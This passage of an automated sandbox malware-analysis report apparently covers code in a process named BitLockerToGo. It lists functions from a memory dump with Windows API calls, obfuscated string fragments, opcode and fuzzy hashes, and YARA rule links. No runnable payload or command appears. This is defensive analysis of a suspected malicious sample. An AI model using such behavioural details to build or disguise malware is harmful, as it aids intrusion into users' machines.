Instruction Fuzzy Hash: 44412435A05305AFE714EB24DC90F7FB3A6EB95304F24883EE58597390D728EC148759

Function 0045C4C6 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8093164e5e5cec5b42e4dbaa24ed5ccce22a8c7c88b6609bf05d533461eb0090
Instruction ID: a86113fc2756fdb3b3c7bc428b693166993456784e3e089405ed62602daf98cd
Opcode Fuzzy Hash: 8093164e5e5cec5b42e4dbaa24ed5ccce22a8c7c88b6609bf05d533461eb0090
Instruction Fuzzy Hash: 1A1121B168C308AFD718EFA4999072BB7E1ABD5300F20D43DE19247348DA74A809DB4A

Function 004587B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004587DA
GetCurrentThreadId.KERNEL32 ref: 004587E0
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004587EF
GetForegroundWindow.USER32(?,00000010,00000000), ref: 004587F5

Part of subcall function 0045CBB0: CoInitializeEx.COMBASE(00000000,00000002), ref: 0045CBC3

Part of subcall function 0045B610: FreeLibrary.KERNEL32(0045881B,00000010,00000000), ref: 0045B616
Part of subcall function 0045B610: FreeLibrary.KERNEL32 ref: 0045B637

ExitProcess.KERNEL32 ref: 00458822

Strings

assddasads, xrefs: 004587BF

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID: assddasads
API String ID: 3072701918-2257728860
Opcode ID: 93c61de7b5ad2cd0a3ff7a56f12cd4dae2c608ee8590b36bacb1f1e44969642e
Instruction ID: 5773c03fd7ede56625349540260d1391d79d4f33d2f79de4376fe3ad3197d47c
Opcode Fuzzy Hash: 93c61de7b5ad2cd0a3ff7a56f12cd4dae2c608ee8590b36bacb1f1e44969642e
Instruction Fuzzy Hash: 56F030702442007BEE107BF2AD0BB1C3A109F11B0BF14057BBE86696D7DE9D685C86AF

Function 0048AF60 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,/uH,?,00004000,?,0048752F,00000000,00004000), ref: 0048AF92

Strings

/uH, xrefs: 0048AF66, 0048AF8C, 0048AFAF

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID: /uH
API String ID: 1279760036-3860831454
Opcode ID: 0bb74e6ef5543dae9438b43e30c3272b1801eed9d5f68759c8e5da7b6651f35c
Instruction ID: 4fbf9ef1171710106a7078b65ecd51c93077c9ec8fd28b24b9d896d966c7b5a2
Opcode Fuzzy Hash: 0bb74e6ef5543dae9438b43e30c3272b1801eed9d5f68759c8e5da7b6651f35c
Instruction Fuzzy Hash: 7DF0A775918112EBD2003F24BC1596B7668AFD6715F160C3BE906A3111D639E812C79E

Function 004897A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,/uH,0048AFB5,/uH,?,0048752F,00000000,00004000), ref: 004897D1

Strings

/uH, xrefs: 004897A0, 004897CB

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID: /uH
API String ID: 3298025750-3860831454
Opcode ID: f41bc48e311ac12eb0347b5e426ff7f2534258eb06a31b974caabdcfada08b99
Instruction ID: 018899db27f1c0ed65cd1dfd4d63f48270e87132da8ae14259e2c5409c5b89cc
Opcode Fuzzy Hash: f41bc48e311ac12eb0347b5e426ff7f2534258eb06a31b974caabdcfada08b99
Instruction Fuzzy Hash: D8D01731408122EFCA202F24BC1268A3A64AF59321F4748B3B8006A070C7368C91CBA8

Function 00485E5D Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00485E7D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 94cc62167d4f2927953c8c93d5a5602b978471322c993c1bb5cf2342a0836cb7
Instruction ID: 58329b4baa1dd2d392eb6806f26a49ded4c771083c596f9874d849d3d63250ff
Opcode Fuzzy Hash: 94cc62167d4f2927953c8c93d5a5602b978471322c993c1bb5cf2342a0836cb7
Instruction Fuzzy Hash: 2D11A1349056848FCB25DF3899502ADBFB16F5B310F1441EDD4A6AB392D6355901CF15

Function 0047E6F6 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0047E73C

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 55e096324cc1512454292523568d881810f2a1fa1d2cd0a30cedbcd38c294eaf
Instruction ID: 6cf92ac6cb230df1ae80f0b3e12634edc0938ded4a47846904d4bde15aa58f57
Opcode Fuzzy Hash: 55e096324cc1512454292523568d881810f2a1fa1d2cd0a30cedbcd38c294eaf
Instruction Fuzzy Hash: 47F01D74504741CFD315DF24C4A874ABBF1FB84304F14891DE0958B394C7B5AA48CF82

Function 00480485 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004804CA

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0256a9aa9fc66fa86d469f1b8ceb78b6fa03690f5f6851c43df111ad7db58eb7
Instruction ID: 65a2f9d06f16b0a3d10d0a89ab7fa3ca0932a840de58a4da548a81e3f74729b1
Opcode Fuzzy Hash: 0256a9aa9fc66fa86d469f1b8ceb78b6fa03690f5f6851c43df111ad7db58eb7
Instruction Fuzzy Hash: DEF074B4508701CFE314DF29D5A8B5ABBF0FB84308F10991DE5998B390DBB6A549CF82

Function 0045CBB0 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0045CBC3

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 24b609a697868a852c5dc6af36ff8ff9acc99407f13f1741b818ca7795f69d27
Instruction ID: f55783ee0e5660a926deec4e8a5d46a9a90391f44aedd9f417ec7d05ad58ea42
Opcode Fuzzy Hash: 24b609a697868a852c5dc6af36ff8ff9acc99407f13f1741b818ca7795f69d27
Instruction Fuzzy Hash: 69D02E202941047BC208AF28EC1AF2233D8EB02354F00023AE1528A6E2E860B801C2A9

Function 0045CBE5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0045CBF7

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 7af51ba199a84f32cd2e10970bb998fb75a4900976f0df57f25fa4c482637a87
Instruction ID: 7e6ce694cedc3b849b9fae5a7e43f055515c768d4c887ea1c65d673279eb1c08
Opcode Fuzzy Hash: 7af51ba199a84f32cd2e10970bb998fb75a4900976f0df57f25fa4c482637a87
Instruction Fuzzy Hash: 67D0C9303C43007AF6749B18ED13F1432515751F15F700239B326FE6E0C9D0B111961C

Function 00489780 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0048AFAA,?,?,?,?,?,?,004587CE,00002270,assddasads), ref: 00489790

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 78a9039f7314ae258d7542460b6397c0bd73b5017ecc95778e14da29776aefb4
Instruction ID: 53ea9dd1e67fe337e254dc81e79d64ba12fa62135ae45b26c727ac7ade05bf84
Opcode Fuzzy Hash: 78a9039f7314ae258d7542460b6397c0bd73b5017ecc95778e14da29776aefb4
Instruction Fuzzy Hash: AEC09231056131ABCA103B15FC49FCA3F68EF46361F0A04A6B408B70B1C770AC82CBE8

Non-executed Functions

Function 00484A23 Relevance: 56.6, Strings: 45, Instructions: 387COMMON

Download Yara Rule

Strings

X, xrefs: 00484C0B
m, xrefs: 00484D85
1, xrefs: 00484B0F
w, xrefs: 00484CCF
z, xrefs: 00484D31
4, xrefs: 00484FE4
+, xrefs: 00484DE0
V, xrefs: 00484BEF
^, xrefs: 00484C19
N, xrefs: 00484C89
d, xrefs: 00484CB3
7, xrefs: 00484B8D
d, xrefs: 00484D23
L, xrefs: 00484C35
#, xrefs: 00484B7F
%, xrefs: 00484DB6
), xrefs: 00484DD2
w, xrefs: 00484D69
R, xrefs: 00484C6D
0, xrefs: 00484B01
g, xrefs: 00484CDD
*, xrefs: 00484B9B
?, xrefs: 00484BA9
E, xrefs: 00484C43
A, xrefs: 00484DCB
#, xrefs: 00484B55
y, xrefs: 00484D77
i, xrefs: 00484D07
#, xrefs: 00484DA8
e, xrefs: 00484D4D
S, xrefs: 00484C97
}, xrefs: 00484D3F
f, xrefs: 00484CF9
j, xrefs: 00484CEB
[, xrefs: 00484C51
X, xrefs: 00484C5F
*, xrefs: 00484DD9
_, xrefs: 00484BFD
(, xrefs: 00484B1D
>, xrefs: 00484B71
k, xrefs: 00484CC1
1, xrefs: 00484B63
!, xrefs: 00484D9A
', xrefs: 00484DC4
+, xrefs: 00484B39

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: !$#$#$#$%$'$($)$*$*$+$+$0$1$1$4$7$>$?$A$E$L$N$R$S$V$X$X$[$^$_$d$d$e$f$g$i$j$k$m$w$w$y$z$}
API String ID: 0-384021127
Opcode ID: 928d940d490a7de0023e4044264ffd47cd85c388aef62e53aafcbe5fe323c2ab
Instruction ID: 151498fb53b469acd8f5a0c2296393f3aec24819579afd1b0654283f695c213b
Opcode Fuzzy Hash: 928d940d490a7de0023e4044264ffd47cd85c388aef62e53aafcbe5fe323c2ab
Instruction Fuzzy Hash: B4224F209087EA89DB32C63C8C087DDBE615B67324F0847D9D1E96B3D2D7750B86CB66

Function 004590D0 Relevance: 24.1, Strings: 19, Instructions: 363COMMON

Download Yara Rule

Strings

_, xrefs: 0045924D
:":}, xrefs: 00459207
r|zr, xrefs: 004591FF
uc`|, xrefs: 00459101
lh~j, xrefs: 004591E7
N, xrefs: 00459396
^EW], xrefs: 004591B7
7-`n, xrefs: 004591EF
kwk*, xrefs: 004591DF
uq{q, xrefs: 0045920F
-@, xrefs: 00459234
}t/1, xrefs: 004591F7
#, xrefs: 00459246
2, xrefs: 0045931E
xcyl, xrefs: 00459109
UIWP, xrefs: 004591CF
n;"e, xrefs: 004591D7
2, xrefs: 0045940F
KIUH, xrefs: 004591C7

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: #$2$2$7-`n$:":}$KIUH$N$UIWP$^EW]$_$kwk*$lh~j$n;"e$r|zr$uc`|$uq{q$xcyl$}t/1$-@
API String ID: 0-6594331
Opcode ID: 8e77003b963f019080fd3a56813e995eab712eb54379353fa5ea939999135057
Instruction ID: f1c89faab74fe1900848accca58d8f87d5a79741142d022a0fbbbab72ef44a4a
Opcode Fuzzy Hash: 8e77003b963f019080fd3a56813e995eab712eb54379353fa5ea939999135057
Instruction Fuzzy Hash: 6BA1F57124C3918BC3128F39846076BBFE1AFD7641F5849ADE8D54B382C3798D0AC766

Function 00473E32 Relevance: 22.3, Strings: 17, Instructions: 1060COMMON

Download Yara Rule

Strings

96, xrefs: 0047496D
p!C#, xrefs: 00474EAB, 00474EBD, 00474EF8
W%U', xrefs: 00474E37
01, xrefs: 00474E4F
KM, xrefs: 0047464E
*;, xrefs: 00474962
+gi, xrefs: 00473EE5
^-J/, xrefs: 00474E47
:xz, xrefs: 00474540, 0047407C, 004745A5, 00474355, 00474795, 004747AF
:xz, xrefs: 004749F5
NO, xrefs: 00474310
5I, xrefs: 00474978
_)E+, xrefs: 00474E3F
;<, xrefs: 0047452E
pr, xrefs: 004747E1
WY, xrefs: 00474617
5;, xrefs: 00474957

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: *;$+gi$01$5;$5I$96$:xz$:xz$;<$NO$W%U'$^-J/$_)E+$p!C#$KM$WY$pr
API String ID: 0-4251274269
Opcode ID: 56ea174b95a72c8ea72296f99f3ae035a84ef8136f4722a4180e88562fa25b36
Instruction ID: 121ea4d15c11b6c463b2a93839599ce33d75300967189005d4e302864080f1af
Opcode Fuzzy Hash: 56ea174b95a72c8ea72296f99f3ae035a84ef8136f4722a4180e88562fa25b36
Instruction Fuzzy Hash: A49261B560C3818AD334CF24D841BAFBBF2FBD1304F05892EE5D95B251D7758A468B8A

Function 0048408D Relevance: 20.3, Strings: 16, Instructions: 302COMMON

Download Yara Rule

Strings

-, xrefs: 004840A7
G, xrefs: 0048417B
7, xrefs: 004840CF
;, xrefs: 004840DF
3, xrefs: 004840BF
<, xrefs: 0048421A
>, xrefs: 00484223
0, xrefs: 00484349
?, xrefs: 004840EF
/, xrefs: 004840AF
5, xrefs: 004840C7
T, xrefs: 00484173
1, xrefs: 004840B7
@, xrefs: 00484183
9, xrefs: 004840D7
=, xrefs: 004840E7

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -$/$0$1$3$5$7$9$;$<$=$>$?$@$G$T
API String ID: 0-779947932
Opcode ID: a89b95e3a0d3916e17e506497251fd3a80142cf5d96bec5535fb73c1b808b2e9
Instruction ID: 7771125a71e5484e4f33fa23c6e110f66dfd160b6e3257538a5dbcb3601ab4ab
Opcode Fuzzy Hash: a89b95e3a0d3916e17e506497251fd3a80142cf5d96bec5535fb73c1b808b2e9
Instruction Fuzzy Hash: 37E1D121C087DA8ECB22CABC88483DDBFB15BA7324F1847D9D4E56B3D2C3684546C766

Function 0048538D Relevance: 20.3, Strings: 16, Instructions: 299COMMON

Download Yara Rule

Strings

9, xrefs: 004853CA
G, xrefs: 0048546E
7, xrefs: 004853C2
>, xrefs: 00485516
5, xrefs: 004853BA
;, xrefs: 004853D2
-, xrefs: 0048539A
T, xrefs: 00485466
<, xrefs: 0048550D
/, xrefs: 004853A2
1, xrefs: 004853AA
?, xrefs: 004853E2
@, xrefs: 00485476
0, xrefs: 0048563C
=, xrefs: 004853DA
3, xrefs: 004853B2

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -$/$0$1$3$5$7$9$;$<$=$>$?$@$G$T
API String ID: 0-779947932
Opcode ID: d64f220e6f3e96d2502b04fc83936ce5f35ba9093a6853fa1f1b3cefe7d8eefb
Instruction ID: f11ed9e8b1c4477ada0b0739f0de4193d9a484522dd618937e474a0af5bb2ad1
Opcode Fuzzy Hash: d64f220e6f3e96d2502b04fc83936ce5f35ba9093a6853fa1f1b3cefe7d8eefb
Instruction Fuzzy Hash: E0E1BF21808BD98ACB22CABC88543DDBFB15B53324F1847D9D4E5AB3D2C3794946C766

Function 0046E770 Relevance: 17.0, Strings: 13, Instructions: 750COMMON

Download Yara Rule

Strings

iN#>, xrefs: 0046EA80
0`]Y, xrefs: 0046EAA8
q/6`, xrefs: 0046EA20
4EZ(, xrefs: 0046EAB0
#*'7, xrefs: 0046EA78
ri2x, xrefs: 0046EA88
JA, xrefs: 0046EB0A
FGFB, xrefs: 0046EA90
2U^b, xrefs: 0046EA98
Q/Z<, xrefs: 0046EAA0
wcsw, xrefs: 0046EA18
}{it, xrefs: 0046EA28
7452, xrefs: 0046EDF3

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: #*'7$0`]Y$2U^b$4EZ($7452$FGFB$JA$Q/Z<$iN#>$q/6`$ri2x$wcsw$}{it
API String ID: 0-2938272540
Opcode ID: e6ac9511cc7ddb939f735abd426d03ac75eb7a1f0272673155db319d89fdca12
Instruction ID: c9f1663c5b186b5fd9f2f8ac1820038ed8dd1c043f744e6983b98c6352cc5070
Opcode Fuzzy Hash: e6ac9511cc7ddb939f735abd426d03ac75eb7a1f0272673155db319d89fdca12
Instruction Fuzzy Hash: 944258745083818FC721DF25D85066FBBE1AF92314F084A6EE8E45B392E73A9909C75B

Function 00486160 Relevance: 11.5, Strings: 9, Instructions: 259COMMON

Download Yara Rule

Strings

u, xrefs: 0048637F
{, xrefs: 00486173
z, xrefs: 0048616E
s, xrefs: 00486375
|, xrefs: 0048620B
g, xrefs: 00486370
{, xrefs: 00486206
z, xrefs: 00486201
|, xrefs: 00486178

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: g$s$u$z$z${${$|$|
API String ID: 0-1118400253
Opcode ID: b5e446d9313a2ce2799d105c8bf4260af8acd2328cad485a8091317a72cc8c19
Instruction ID: 4174e9a03f949ebaac0679d8ba339db9d9b7abbedd3a1f98260f9e54f1e3bb48
Opcode Fuzzy Hash: b5e446d9313a2ce2799d105c8bf4260af8acd2328cad485a8091317a72cc8c19
Instruction Fuzzy Hash: 35916923A1C7D14AD319953C885425FAED34BE2224F1ECFBED4E5873D6D569C80283A7

Function 00467175 Relevance: 11.0, Strings: 8, Instructions: 979COMMON

Download Yara Rule

Strings

B, xrefs: 00466F89
0mno, xrefs: 004677DB
;, xrefs: 00467B00
e_~2, xrefs: 00467483
&U9W, xrefs: 004677AB
N, xrefs: 00467476
?Y([, xrefs: 004677B3
=]3_, xrefs: 004677BB

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &U9W$0mno$;$=]3_$?Y([$B$N$e_~2
API String ID: 0-2483127009
Opcode ID: 843da6a03c1c04d1720305801ec30080d1d610c93538c40b55b0100feffb20c1
Instruction ID: 5b408c844625b256053dcbacd077ec44a7e472c7083f822244112b7349cebeec
Opcode Fuzzy Hash: 843da6a03c1c04d1720305801ec30080d1d610c93538c40b55b0100feffb20c1
Instruction Fuzzy Hash: 8662037160D3418BD724CF28C8907ABB7E2EFD5319F09896EE4C58B391EB389905CB56

Function 0045A950 Relevance: 10.4, Strings: 8, Instructions: 436COMMON

Download Yara Rule

Strings

qx, xrefs: 0045AAC6
/ , xrefs: 0045AB49
I~, xrefs: 0045AABE
RDJR, xrefs: 0045ACD1
6, xrefs: 0045A975
`~, xrefs: 0045AAAE
vxw~, xrefs: 0045ACF0
v, xrefs: 0045AC21

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
